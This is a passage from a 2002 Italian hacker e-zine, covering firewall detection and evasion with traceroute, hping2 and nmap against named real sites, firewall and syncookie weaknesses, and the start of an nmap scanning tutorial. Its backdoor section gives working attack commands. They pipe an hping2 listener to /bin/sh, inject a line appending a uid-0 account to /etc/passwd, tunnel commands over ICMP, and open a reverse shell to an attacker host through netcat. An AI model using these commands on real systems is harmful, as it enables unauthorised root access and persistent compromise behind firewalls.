| A tale scopo è importante consultare l'elenco dei tipi ICMP, l'ultimo |
| aggiornamento di tale specifica è reperibile all'URL: |
| |
| http://www.iana.org/assignments/icmp-parameters |
| |
| 4.3 Traceroute |
| Il traceroute è un tool che permette di ricavare i router/gateway |
| interessati all'instradamento dei nostri pacchetti verso un sistema |
| destinatario, fornisce in output i vari hop(3) che compie il pacchetto |
| per raggiungere il sistema desiderato. |
| |
| (3)hop: salti, ogni router attraversato rappresenta un salto |
| |
| Ad ogni hop il campo TTL (Time To Live) del pacchetto viene decrementato |
| di un'unità, il raggiungimento del valore 0 da parte di quest'ultimo |
| causa un errore ICMP da parte dell'instradatore che ha processato il |
| pacchetto. |
| Traceroute invia un primo pacchetto verso l'host destinazione con TTL |
| pari a 1 (che scadrà al primo salto causando un errore ICMP da parte |
| dell'instradatore che ha processato il pacchetto), successivamente |
| invierà al sistema destinatario altri pacchetti incrementando di volta |
| in volta il campo TTL di un'unità fino all'effettivo raggiungimento del |
| sistema target. |
| Questo processo fornisce gli IP address di tutti i router interessati |
| all'instradamento compreso l'eventuale dispositivo con funzioni di |
| packet filtering. |
| Qui di seguito sono riportati alcuni esempi che ne illustrano il |
| funzionamento, gli IP address dei primi hop sono stati volutamente |
| oscurati: |
| |
| # traceroute www.arianna.it |
| traceroute to arianna.iol.it (195.210.91.187), 30 hops max, 40 byte |
| 1 192.168.1.1 (192.168.1.1) 1.186 ms 2.035 ms 1.094 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 40.615 ms 40.612 ms 42.971 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 42.234 ms 42.148 ms 39.653 ms |
| 4 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 41.942 ms 43.718 ms 45.596 ms |
| 5 gr-mi-b-v12.iunet.it (192.106.1.172) 43.810 ms 44.086 ms 44.008 ms |
| 6 192.106.7.238 (192.106.7.238) 42.775 ms 43.245 ms 47.147 ms |
| 7 * * * |
| |
| L'output del traceroute termina in maniera del tutto anomala al settimo |
| hop indicando la presenza di un dispositivo con funzionalità di filtro |
| di pacchetto, la nostra richiesta è stato droppata e il campo TTL non |
| è stato decrementato con conseguente mancato ricevimento dell'ICMP error |
| atteso. |
| Il programma Traceroute utilizza di default pacchetti UDP per i propri |
| probe, con tutta probabilità questi sono bloccati dalle rules del router |
| che si trova in coincidenza del settimo salto. |
| Possiamo utilizzare l'opzione -I per forzare il programma ad utilizzare |
| il protocollo ICMP al fine di aggirare il filtro: |
| |
| # traceroute -I www.arianna.it |
| traceroute to arianna.iol.it (195.210.91.187), 30 hops max, 40 byte |
| 1 192.168.1.1 (192.168.1.1) 1.162 ms 1.181 ms 1.091 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 41.748 ms 41.655 ms 37.773 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 40.642 ms 43.297 ms 41.176 ms |
| 4 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 43.657 ms 42.232 ms 45.558 ms |
| 5 gr-mi-b-v12.iunet.it (192.106.1.172) 41.181 ms 43.095 ms 47.625 ms |
| 6 192.106.7.238 (192.106.7.238) 44.536 ms 43.700 ms 44.011 ms |
| 7 arianna.iol.it (195.210.91.187) 45.323 ms 44.111 ms 42.984 ms |
| |
| Bene! Ora il trace è andato a buon fine ed ha percorso tutti i salti che |
| ci separano dall'host destinatario, ora siamo a conoscenza dell'IP del |
| firewall e siamo in grado di raccoglire ulteriori informazione riguardo |
| alle sue ACL. |
| |
| Vediamo ora un altro esempio analogo: |
| |
| # traceroute -I www.xoom.it |
| traceroute to xoom.it (212.66.231.5), 30 hops max, 40 byte packets |
| 1 192.168.1.1 (192.168.1.1) 1.166 ms 1.165 ms 1.097 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 37.347 ms 39.567 ms 40.109 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 38.024 ms 40.095 ms 39.595 ms |
| 4 xxx.x.xxx.xx (xxx.x.xxx.xx) 46.864 ms 43.164 ms 41.677 ms |
| 5 gw-wind-mi6-pos-infostrada.wind.it (212.245.250.49) 44.291 ms [...] |
| 6 c-mi2-fe2a.wind.it (212.245.36.130) 42.704 ms 44.094 ms 45.854 ms |
| 7 212.245.53.30 (212.245.53.30) 55.765 ms 57.864 ms 55.785 ms |
| 8 * * * |
| |
| In questo caso il router che si trova all'ottavo hop non solo blocca le |
| richieste UDP ma anche ICMP, dovremo ricorrere dunque ad una tecnica |
| leggermente differente per aggirare anche questa restrizione. |
| |
| Come avrete visto nell'esempio precedente il traceroute non riesce a |
| fare il suo dovere in quanto i pacchetti da esso utilizzati non riescono |
| a passare il filtro e di conseguenza non riescono a scadere generando |
| l'ICMP che rivelerebbe l'identità del firewall. |
| Proviamo ad utilizzare Hping2 per arrivare la dove il traceroute non |
| arriva, il nostro scopo è creare un pacchetto che arrivi all'hop |
| corrispondente al firewall con un TTL pari a 1 e che verrà accettato da |
| quest'ultimo che ne decrementerà il campo TTL causando il messaggio ICMP |
| TTL exceeded in transit. |
| Prima di tutto tracciamo il nostro sistema destinatario fin dove ci è |
| permesso dal filtro di pacchetto: |
| |
| # traceroute -I www.xoom.it |
| traceroute to xoom.it (212.66.231.5), 30 hops max, 40 byte packets |
| 1 192.168.1.1 (192.168.1.1) 1.166 ms 1.165 ms 1.097 ms |
| 2 xxx.x.xxx.xxx (xxx.x.xxx.xxx) 37.347 ms 39.567 ms 40.109 ms |
| 3 xxx.x.xxx.xx (xxx.x.xxx.xx) 38.024 ms 40.095 ms 39.595 ms |
| 4 xxx.x.xxx.xx (xxx.x.xxx.xx) 46.864 ms 43.164 ms 41.677 ms |
| 5 gw-wind-mi6-pos-infostrada.wind.it (212.245.250.49) 44.291 ms [...] |
| 6 c-mi2-fe2a.wind.it (212.245.36.130) 42.704 ms 44.094 ms 45.854 ms |
| 7 212.245.53.30 (212.245.53.30) 55.765 ms 57.864 ms 55.785 ms |
| 8 * * * |
| |
| Ora sappiamo esattamente il valore TTL che dovremo utilizzare, che in |
| questo caso dovrà essere pari a 8. |
| |
| Usiamo un portscanner per trovare una porta non filtrata sul firewall, |
| nmap è il programma che fa al caso nostro: |
| |
| # nmap -sS -P0 -p 80 www.xoom.it |
| |
| Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) |
| Interesting ports on www.xoom.it (212.66.231.5): |
| Port State Service |
| 80/tcp open http |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 1 second |
| |
| La porta 80 risulta aperta il che significa che il firewall lascia |
| passare ogni richiesta di connessione (flag SYN attivo) verso tale |
| porta. Alla luce di queste considerazioni agiremo come segue: |
| |
| # hping2 -p 80 -S -t 8 www.xoom.it |
| HPING www.xoom.it (eth0 212.66.231.5): S set, 40 headers + 0 data bytes |
| TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it |
| TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it |
| TTL 0 during transit from ip=212.66.224.46 name=routerxoom.sirio.it |
| |
| --- www.xoom.it hping statistic --- |
| 3 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| Ora sappiamo con precisione l'IP del firewall che filtra le nostre |
| richieste (212.66.224.46) e abbiamo la possibilà di studiarne le ACL con |
| gli strumenti precedentemente illustrati. |
| A questo punto incrementiamo ulteriormente il campo TTL di un'unità per |
| verificare l'effettiva presenza dell'host destinatario dietro al |
| sistema filtro: |
| |
| # hping2 -p 80 -S -t 9 www.xoom.it |
| HPING www.xoom.it (eth0 212.66.231.5): S set, 40 headers + 0 data bytes |
| len=46 ip=212.66.231.5 flags=SA DF seq=0 ttl=56 id=14262 win=16384 [...] |
| len=46 ip=212.66.231.5 flags=SA DF seq=1 ttl=56 id=14281 win=16384 [...] |
| len=46 ip=212.66.231.5 flags=SA DF seq=2 ttl=56 id=14295 win=16384 [...] |
| |
| --- www.xoom.it hping statistic --- |
| 3 packets tramitted, 3 packets received, 0% packet loss |
| round-trip min/avg/max = 57.2/61.0/67.0 ms |
| |
| Questa volta a risponderci è direttamente il sistema destinatario, il |
| pacchetto è giunto a destinazione senza che il campo TTL scadesse e la |
| nostra richiesta di connessione è seguita da un pacchetto SYN/ACK come |
| risposta. |
| |
| 4.4 UDP scan |
| L'UDP è un protocollo non connesso e non confermato proprio come l'IP, |
| bensì vengano utilizzati per scopi completamente differenti hanno alcune |
| caratteristiche comuni. |
| Proprio come avviene per l'IP i datagrammi UDP una volta giunti a |
| destinazione correttamente non forniscono alcun riscontro, malgrado ciò |
| un eventuale errore nella comunicazione verrà prontamente segnalato da |
| uno specifico messaggio ICMP. |
| Pertanto, un utente malevolo avvalendosi del protocollo UDP è in grado |
| di rilevare la presenza o meno di un agente filtrante sul proprio |
| cammino sulla base di semplici deduzioni. |
| Grazie a semplici riscontri derivanti dai messaggi ICMP Port Unreachable |
| è possibile rilevare le porte in stato closed sul sistema remoto, mentre |
| le porte alla cui scansione non seguirà alcuna risposta potrebbero |
| risultare aperte o filtrate indistintamente. |
| La condizione in cui la quasi totalità delle porte del sistema risultino |
| apparentemente aperte può facilmente essere dovuta alla presenza di un |
| firewall che droppa i pacchetti in ingresso verso tali porte UDP o che |
| blocca l'invio di tali messaggi ICMP provenienti dalla rete interna |
| verso Internet. |
| |
| 5. Vulnerability |
| Grazie alle tecniche fin ora descritte siamo in grado di rivelare la |
| presenza di un firewall a filtro di pacchetto, ora abbiamo bisogno di |
| identificarlo con maggiore precisione. |
| Ancora una volta il portsurfing si rivela una tecnica semplice ed |
| efficace per ottenere informazioni riguardo un host remoto, tramite la |
| scansione delle porte, infatti, siamo in grado di determinare alcuni dei |
| firewall più comunemente utilizzati. |
| |
| 5.1 Check Point FireWall-1 |
| Il Check Point FireWall-1 ascolta di default sulle porte TCP 256, 257 e |
| 258, possiamo perciò utilizzare un programma di scansione delle porte |
| per identificarlo con estrema facilità: |
| |
| # nmap -sS -P0 -p 256,257,258 localhost |
| |
| Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) |
| Interesting ports on localhost (127.0.0.1): |
| (The 1 port scanned but not shown below is in state: closed) |
| Port State Service |
| 256/tcp open rap |
| 257/tcp open set |
| |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds |
| (l'hostname è stato cambiato con localhost per correttezza) |
| |
| Una volta identificato è possibile sfruttare alcune delle vulnerabilità |
| ad esso associate per aggirarne agevolmente le protezioni e ottenere |
| pieno accesso ai sistemi della rete interna. A tale scopo vi rimando |
| alla pagina del produttore che evidenzia le falle più comunemente |
| riscontrabili: |
| |
| http://www.checkpoint.com/techsupport/alerts/ |
| |
| In particolare le versione 3.0 e 4.0 non filtrano il traffico in |
| ingresso sulla porta 53 (TCP e UDP) al fine di permettere query al DNS e |
| trasferimenti di zona. |
| Questa politica permette ad un utente remoto di venire in possesso di |
| informazioni importanti riguardo alla struttura interna della rete |
| grazie alla possibilità di effettuare trasferimenti di zona DNS, inoltre |
| rende possibile la creazione di un canale di ritorno quale una sessione |
| telnet inverso. |
| Lo stesso vale per la porta UDP 512, un attacker potrebbe forgiare dei |
| pacchetti RIP contraffatti al fine di provocare l'aggiornamento delle |
| tabelle di routing dei router di confine per permettere l'instradamento |
| di pacchetti verso reti non consentite dalle politiche di sicurezza. |
| |
| Vi sono molti altri firewall che presentano svariate falle nella |
| sicurezza, il più delle volte il sito stesso del produttore è la |
| maggiore fonte di informazioni a riguardo. |
| |
| 5.2 Syncookies |
| Il sistema Syncookies dovrebbe permettere la totale scomparsa di minacce |
| derivanti da attacchi SYN flood che hanno messo in ginocchio in passato |
| grossi colossi della rete. |
| Syncookies entra in funzione in presenza di un attacco e in caso di |
| richiesta di connessione (SYN flag attivo) manda al richiedente un |
| pacchetto SYN/ACK con un cookie crittografato, per chiudere l'handshake |
| a tre vie il primo host deve mandare un ACK che comprenda il cookie |
| precedentemente ricevuto. |
| Questo permette di eliminare la coda SYN_RECEIVED e di continuare a |
| gestire le richieste legittime scongiurando ogni tentativo di negazione |
| del servizio. |
| Di contro, è stata riscontrata una vulnerabilità che può permettere di |
| aggirare un firewall a filtro di pacchetto nel qual caso faccia |
| affidamento a regole basate sullo stato del flag SYN dei pacchetti per |
| applicare il reject o il drop degli stessi. |
| In particolare, un utente remoto in grado di raggiungere con un attacco |
| SYN flood una porta del sistema non protetta dal firewall al fine di |
| causare l'intervento e l'emissione dei cookie, potrà in un secondo tempo |
| stabilire una connessione fornendo un pacchetto ACK contenente il cookie |
| corretto. |
| Tale cookie può essere determinato con successo grazie ad un attacco di |
| forza bruta che permetterebbe un accesso non consentito al sistema |
| protetto dal firewall. |
| |
| 6. Backdoor |
| Una volta ottenuto l'accesso ad uno dei sistemi interni alla rete |
| l'attacker provvederà alla creazione di una backdoor che dovrà garantire |
| la comunicazione attraverso il firewall. |
| |
| Hping2 se eseguito in modalità listen rimane in ascolto sull'interfaccia |
| di rete specificata in attesa di ricevere un pacchetto contenente la |
| stringa definita al momento dell'esecuzione (nell'esempio è pass), nel |
| qual caso la stringa contenuta all'interno del pacchetto ricevuto |
| corrisponda, i byte successivi saranno rediretti sullo standard output. |
| |
| vittima# hping2 -I eth0 -9 pass |
| |
| Usando un pipe siamo in grado di redirigere lo standard output verso un |
| altro programma, ad esempio verso l'interprete dei comandi al fine di |
| ottenere una shell remota sul sistema: |
| |
| vittima# hping2 -I eth0 -9 pass | /bin/sh |
| |
| Una volta posto Hping2 in ascolto sul sistema remoto, basterà inviare ad |
| esso pacchetti che contengono la stringa di riconoscimento seguita dal |
| codice che si desidera eseguire, per far ciò basterà connettersi su una |
| qualsiasi delle porte non filtrate dal firewall e procede come segue: |
| |
| attacker# telnet vittima 21 |
| Trying 127.0.0.1... |
| Connected to vittima. |
| Escape character is '^]'. |
| 220 ProFTPD 1.2.2rc3 Server (ProFTPD Default Installation) |
| passecho r00t::0:0::/root:/bin/bash >> /etc/passwd; |
| 500 PASSECHO not understood. |
| quit |
| 221 Goodbye. |
| Connection closed by foreign host. |
| |
| In questo modo abbiamo aggiunto un account con uid e gid 0 al file delle |
| password senza nemmeno fare login sul sistema. |
| |
| Nel qual caso non avessimo alcun punto di accesso al sistema da remoto |
| dovremo affidarci al protocollo ICMP per veicolare i nostri comandi in |
| maniera del tutto indisturbata: |
| |
| attacker# hping2 -c 1 -1 -d 52 -E ~/data.txt vittima |
| HPING vittima (lo 127.0.0.1): icmp mode set, 28 headers + 61 data bytes |
| 89 bytes from 127.0.0.1: icmp_seq=0 ttl=255 id=50 rtt=0.3 ms |
| |
| --- localhost hping statistic --- |
| 1 packets tramitted, 1 packets received, 0% packet loss |
| round-trip min/avg/max = 0.3/0.3/0.3 ms |
| |
| dove l'opzione: |
| -c è il numero di pacchetti da inviare; |
| -1 indica il protocollo ICMP; |
| -d indica la grandezza in byte del campo dati, che deve essere uguale a |
| quella del file specificato tramite l'opzione -E; |
| -E specifica il file che contiene il valore che assumerà il campo dati; |
| |
| Il file data.txt che si trova nella home directory dell'utente attacker |
| dovrà contenere quanto segue: |
| |
| passecho r00t::0:0::/root:/bin/bash >> /etc/passwd; |
| |
| L'utilizzo delle opzioni -C e -K che permettono di specificare il tipo e |
| il codice del messaggio ICMP aumenteranno le possibilità che |
| quest'ultimo arrivi a destinazione senza essere droppato dal firewall. |
| I messaggi ICMP seguenti sono infatti difficilmente filtrati dai |
| dispositivi di rete e saranno proprio questi quelli di cui si servirà |
| un malintenzionato per veicolare i suoi comandi: |
| |
| |
| (tratto da ICMP TYPE NUMBERS, www.iana.org) |
| Type Name Reference |
| ---- ------------------------- --------- |
| 0 Echo Reply [RFC792] |
| |
| Codes |
| 0 No Code |
| |
| 3 Destination Unreachable [RFC792] |
| |
| Codes |
| 4 Fragmentation Needed and Don't Fragment was Set |
| |
| 4 Source Quench [RFC792] |
| Codes |
| 0 No Code |
| |
| 11 Time Exceeded [RFC792] |
| |
| Codes |
| 0 Time to Live exceeded in Transit |
| |
| |
| Questo tipo di backdoor permette ad un attacker esterno alla rete |
| protetta di eseguire comandi alla cieca sul sistema remoto, ad ogni modo |
| è possibile perfezionare il pipe precedentemente descritto al fine di |
| ottenere un canale di ritorno verso il proprio sistema. |
| E' possibile che il malintenzionato ponga un listener in ascolto su una |
| porta locale del proprio sistema in modo da accogliere una sessione |
| inversa originata dal sistema posto dietro al firewall, esempio: |
| |
| attacker# nc -l -p 25 |
| |
| In tal modo la sessione inversa potrà aver luogo: |
| |
| vittima# hping2 -I eth0 -9 pass | /bin/sh | telnet attacker 25 |
| |
| L'output dei comandi verrà visualizzato sul sistema attacker attraverso |
| netcat (nc) che ascolta sulla porta 25, notare che non è il sistema del |
| malintenzionato a dar vita alla sessione bensì il sistema interno alla |
| rete protetta, pertanto la sessione in tal modo originata verrà quasi |
| sicuramente consentita dalla politica del firewall. |
| |
| |
| 7. Risorse |
| RFC 793, Transmission Control Protocol |
| Hping2-HOWTO |
| man nmap |
| firewalk-final.txt |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #06 - 25/04/2002 |
| NMAP [ADvAnCeD'] 0x08/0x1D |
+--------------------------------------------------------------------------+
| |
| [x]* S0mm4r10 * |
| |
| --[x] Sommario -------- Indice/struttura del txt |
| --[1] Info -------- Note/info sull'autore |
| --[2] Intro -------- Testo introduttivo/saluti |
| --[3] Disclimer -------- Responsabilità |
| --[4] Nmap Howto -------- TUtorial su Nmap |
| ---[4.1] Nmap questo sconosciuto -------> Cosa?dove?come? |
| ---[4.2] Modalità di scansione -------> I vari metodi di scanning |
| ---[4.3] Opzioni -------> Opzioni di scansione |
| ---[4.4] Altri usi di Nmap -------> Nmap non solo scanning |
| -----[4.4.1] Ping Sweep -------> Mass ping con Nmap |
| -----[4.4.2] Os detecting -------> Determinazione di un os |
| -----
[4.4.3] Individuazione RPC -------> Ricerca dei servizi rpc |
| --[5] End -------- Conclusioni, note finali |
| |
| |
| |
| [1] * Inf0 * |
| |
| Lunedì Pomeriggio 17.27 - Date /18/02/2oo2/ |
| |
| Author: ADvAnCeD` |
| Mailto: advanced@mojdo.it |
| icq : 143413192 |
| web : http://advanced.too.it |
| web2: http://www.mojodo.it |
| irc: IrcNet on #mojodo |
| |
| |
| |
| [2] * InTr0 * |
| |
| Buona seeeeeeeeeera ! Inizio subito col salutare OndaQUadra e tutti i |
| suoi memberi, in particolar modo MightyInquisitor che mi ha permesso |
| di scrivere su questa zine. Specifico subito che questo testo, non può |
| essere riprodotto su altre e-zine, nemmeno in parte, dato che io, ho |
| deciso di scriverlo unicamente per OQ. Beh questa volta ( per la prima |
| volta ) non mi perdero` troppo in un intro piena di burlonate, che di |
| solito piacciono.... Boh non lo so sta volta non mi va... Beh diciamo |
| che concludo salutando e fukkando un po di gente ( sorry se dimentico |
| qualcuno ) |
| |
| |
| |
| Gr3tz to: aNt}R{oPe, Salvo`b, Hi-Tech hate, Ade, `fRa`, Ice-man, |
| Resinaro, Syn,Dibb3llas, No-fly zone crew, #phreak.it, lInux & c, |
| Hornet, Severance, SPYRO, Lord>icio, MARSIO, uiha,D3fu ,Xanthic`, |
| MightyInquisitor, Net Destroyer, bartx, FIx, ZIo_tom, lupsyn, Valk, |
| Kewl`, #dbzone , #tcc ( non vi scioglieteeeeee!!!! ) , #mojodo, #hack, |
| Delliah, NetDIgger, Goku, noflyzone , XarBas ( si scrive cosi?? ), |
| Linus Torvalds,OndaQuadra, Raptor_ , resinaro,bart99,BigaleX,Valnir, |
| Cate,Skizzo; Procsi, Flash,XP Terminator, Astharot, finiz, PhrakMan, |
| Pino & Olio |
| |
| FuCk tO: vetranks, holaz ( me la paghi brutto pezzo di ***** ), |
| windowsXP, billgates,professoressa CUcciari, Moratti |
| |
| ps: Ho aperto http://advanced.too.it, un sito personale dove ci |
| trovate un bel po' di roba mia:) |
| |
| |
| |
| [3] * D1sCl4im3r * |
| |
| Bah, in questo testo non troverete particolari techniche di attacco, |
| ma soltanto una spiegazione del funzionamento di Nmap. In ogni caso un |
| buon disclaimer puo` sempre salvare il culo (_Y_) . Vi ricordo sempre |
| che lo scanning delle porte e` considerato,anche se minore, pur sempre |
| un reato penale. Prima di scannare un host, e` meglio fornirsi delle |
| autorizzazioni necessarie dell' admin del sistema target, per evitare |
| problemi legali. Se scannate un host di un server con l'admin |
| bastardo, vi potrebbe anche denunciare, anche se succede molto molto |
| raramente... Quando fate una cosa cercate di rendervene responsabili |
| al 10% e cercate di capire perchè lo fate. PLs :) |
| |
| -@ Tutte le informazioni che troverete in questo documento sono a |
| puro scopo informativo, |
| -@ e l'autore non incita i lettori a provare e effettuare manovre che |
| potrebbero causare danni |
| -@ a terzi.Io, l'autore, non mi assumo nessuna responsabilità di |
| eventuali conseguenze. |
| |
| |
| |
| |
| * Nmap Security Scanner * |
| |
| Beh che dire... Chi non conosce Nmap? Beh non temete anche se non |
| avete la piu` pallida idea di cosa sia ( ... ) sono qui apposta io per |
| spiegarvelo da zero . Non sono richieste particolari abilita` o doti |
| sovraturali, ma soltanto un sistema operativo unix-like, e un bel po` |
| di buona volota` ( che non deve mai mancare in un abile smanettone ) |
| |
| [4.1] *Nmap questo sconosciuto* |
| |
| Nmap... Che cos'è? Nmap e` attualmente il miglior sowtare disponibile |
| per la scansione delle porte. Questo gira sotto sistemi unix, e al |
| momento della scrittura di questo articolo, non e` ancora stata |
| rilasciata una versione per windows, e spero che mai uscira`. Nmap e` |
| un progetto totalmente open source e free, ideato da Fyodor ( non mi |
| chiedete quando ) e disponibile per il download all' url |
| http://www.insecure.org/nmap .Vengono spesso rilasciate nuove releases |
| e beta, che pero` a volte sono instabili, vi consiglio quindi di |
| scaricarvi sempre qualche versione non beta, che sia stabile anche se |
| un po' meno recente. una volta scaricato il pacchetto, esplodetelo dal |
| terminale con il comando |
| |
| root@advanced # tar xvfz nmap-4x-betax.x.tar.gz |
| |
| In questo modo avete creato una directory di nome nmap. Entrate nella |
| dir e procedete all'installazione che consiste in 3 passaggi: |
| |
| root@advanced # cd nmap/ |
| |
| root@advanced [/root/nmap] # ./configure |
| |
| root@advanced [/root/nmap] # make |
| |
| root@advanced [/root/nmap] # make install |
| |
| Se avete una macchina lenta l'installazione puo` anche richiedere un |
| po' di tempo... ma voi andate di fretta? no! e alloraaaaaaa! tranqui! |
| Ok ora avete installato il sowtare sul vostro sistema operativo |
| preferito ( ... ) ... siete pronti all'uso del programma, penserete! |
| Ma non e` assolutamente così. Vi manca la teoria... se no cosa caaa lo |
| scrivevo a fare sto testo? Quindi ora mettetevi pure l'animella in |
| pace e studiate che fa bene . Bene... definire Nmap un "analizzatore |
| di porte" e` molto restrittivo, dato che offre molte altre |
| funzionalita` che poi analizzeremo. Nmap dispone di quasi tutti i |
| metodi di scansione delle porte usati o implementati da altri |
| programmi. Dispone infatti del semplice metodo direct TCP connect() ( |
| un processo di comunicazione completo TCP a tre vie con la chiusura |
| della connessione) ,di diverse modalita` nascoste basate sull'uso di |
| pacchetti IP non trattati e anche del metodo di scansione delle |
| sessioni FTP negate. Diciamo che sono veramente tanti i metodi di |
| scansione... andiamo ad analizzarli... |
| |
| |
| |
| [4.2] *Modalita` di scansione* |
| |
| OK bene. Ora iniziamo ad analizzare le varie metodologie per lo |
| scanning con nmap. Inannzitutto per far partire il programma basta |
| digitare |
| |
| root@advanced # nmap |
| |
| Vi comparirà la piccola guida... Ora vediamo che sostanzialmente nmap |
| si usa con la sintassi |
| |
| |
| root@advanced # nmap -argomento [host] |
| |
| Per esempio provate a far mappare il localhost a nMap. |
| |
| |
| root@advanced # nmap 127.0.0.1 |
| |
| Vedrete ora le porte che avete aperte, filtrate, con il rispettivo |
| servizio che gira sulla porta. Non mi sembra difficile analizzare |
| l'output di nmap. INoltre fornisce anche accanto al numero della |
| porta, il protocollo su cui gira il demone ( TCP, UDP, icmp .... ecc ) |
| .Con la semplice sintassi "nmap host " è facile capire che si esegue |
| un semplice mapping delle porte aperte con i parametri predefiniti. Ma |
| in realtà ci sono veramente molte altre opzioni che ora andremo ad |
| analizzare bene da vicino. Qui sotto vi riporto l'elenco degli |
| argomenti disponibili, con relativa spiegazione. |
| |
| |
| |
| °°°°°°°°°°°°°°°°°°Connect°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sT host |
| |
| -Info: Scansione della porta con una connessione completa TCP |
| connect(). Questa e` la scansione di default di nmap |
| ed e` l'unica che possono usare anche gli utenti diversi |
| da r00t |
| |
| |
| °°°°°Scansione Nascosta (Stealth SYN)°°°°°°° |
| |
| -Usage: nmap -sS host |
| |
| -Info: Invia un pacchetto SYN singolo, il primo pacchetto di |
| comunicazione TCP a tre vie. Se e` ricevuto un SYN\ACK, |
| allora e` certo che il sistema si trova in ascolto su |
| questa porta. Non completa la connessione TCP e questo |
| e questo significa che il processo non e` registrato |
| come una chiamata connect(). Scansione "half-open" e` |
| il termine usato per definire una connessione di questo |
| tipo |
| |
| °°°°°°°°°°°°°°°°°°°°FIN°°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sF host |
| |
| -Info: Scansione FIN.E` inviato un pacchetto FIN grezzo. Se e` |
| ricevuto un pacchetto RST, la porta e` chiusa.Se non si |
| riceve nulla, la porta deve essere per forza aperta. |
| I sistemi windows, che non seguono le specifiche IP, |
| non possono scoprire eventuali scansioni di questo tipo |
| |
| °°°°°°°°°°°°°°°°Xmass Tree°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sX host |
| |
| -Info: Scansione Xmass Tree.Simile alla scansione FIN, usa un |
| pacchetto in cui sono impostati attivi i flag FIN, URG e |
| PUSH. |
| |
| °°°°°°°°°°°°°°°°°°°Null°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sN host |
| |
| -Info: Modalita` di scansione null. Usa lo stesso sistema della |
| scansione FIN, ma invia pacchetti senza flag attivi |
| |
| °°°°°°°°°°°°°°°°°°°°Udp°°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sU host |
| |
| -Info: Scansione UDP. Nmap inviera` un pacchetto UDP di 0 byte |
| a ciascuna porta del sistema target'. Se e` ricevuto un |
| messaggio ICMP di porta non raggiungibile ( port |
| unraechable), questo significa che la porta e` chiusa. |
| L'operazione di scansione tende a essere molto lenta |
| poiche` adotta un suggerimento contenuto nella nota |
| RFC 1812 che limita` la velocita` di trasmissione dei |
| messaggi di errore ICMP.Se nmap fosse eseguito alla massima |
| velocita` possibile, il programma perderebbe la maggior |
| parte dei pacchetti ICMP potenziali di ritorno. Nmap, |
| invece, determinera` la velocita` usata dall'host e |
| rallentera` di conseguenza la velocita` di scansione |
| |
| °°°°°°°°°°°°°°°Protocollo IP°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sO host |
| |
| -Info: Scansione del protocollo IP. Consente di determinare |
| i protocolli IP supportati dal target. Nmap invia |
| pacchetti IP grezzi per ciascun protocollo. Se e` |
| ricevuto un messaggio ICMP di tipo protocollo |
| irraggiungibile (protocoll ureachable), il protocollo non |
| e` supportato. Alcuni sistemi operativi, e firewall, non |
| inviano pacchetti ICMP e percio` potra` apparire che tutti |
| i protocolli siano supportati |
| |
| °°°°°°°°°°°°°°°°°°°°ACK°°°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sA host |
| |
| -Info: Scansione ACK. Questo tipo di scansione consente di escludere |
| i set di regole abilitati nei firewall e consente di |
| determinare se un firewall tiene conto degli stati o se e` un |
| semplice filtro per bloccare i SYN |
| |
| °°°°°°°°°°°°°°°°Window SIze°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -sT host |
| |
| -Info: Scansione Window. Questo tipo di scansione, simile alla |
| scansione ACK, usa la dimensione delle finestra TCP per determinare se |
| le porte sono aperte, filtrate o non filtrate. Linux, fortunatamente |
| non e` vulnerabile a questo tipo di scansione, sebbene lo possa essere |
| il firewall. |
| |
| ---------------------------------- |
| |
| Alcuni firewall bloccano i pacchetti SYN limitandoli a porte ristrette |
| nelle reti protette. In questi casi consiglio di usare metodi di |
| scansione FIN, Xmas Tree e Null, che sono molto più difficili da |
| scoprire. |
| |
| |
| E con questo abbiamo concluso le modalità di scansione delle porte con |
| nmap... Anche se ci sono altri due argomenti che analizzeremo in |
| seguito, ovvero l'individuazione di servizi RPC e la determinazione |
| del sistema operativo. |
| |
| |
| |
| [4.3] *Opzioni di scansione* |
| |
| Oltre alle varie metodologie di scansione che abbiamo appena |
| esaminato, nmap consente di controllare varie opzioni di scanning, |
| funzionalità aggiuntive molto utili per avere maggiori informazioni |
| sul sistema target. Ora andro` a elencare e spiegare ogni singola |
| opzione. |
| |
| |
| |
| °°°°°°°°°°°°°°°°Ping Forced°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -P0 host |
| |
| -Info: Normalmente nmap effettuera` il ping dell'host prima di |
| analizzarlo. Se e` noto che un sistema e` in esecuzione o si sospette |
| che stia bloccando i pacchetti di ping ICMP, si usa questa opzione per |
| forzare la scansione |
| |
| |
| °°°°°°°°°°°°°°°Reverse Ident°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -I host |
| |
| -Info: Scansione reverse ident.Nmap si colleghera` alla porta con una |
| chiamata full connect() (notate che le scansioni nascoste non potranno |
| essere usate in questa modalita`) e, una volta connesso, effettuera` |
| l'interrogazione del server identd nel sistema target per determinare |
| l'utente (username) in ascolto.Questo consente determinare se root o |
| un altro utente sia collegato ad una determinata porta |
| |
| |
| °°°°°°°°°°°Pacchetti frammentati°°°°°°°°°°° |
| |
| -Usage: nmap -f host |
| |
| -Info: Pacchetti di scansione frammentati. Un pacchetto TCP puo` |
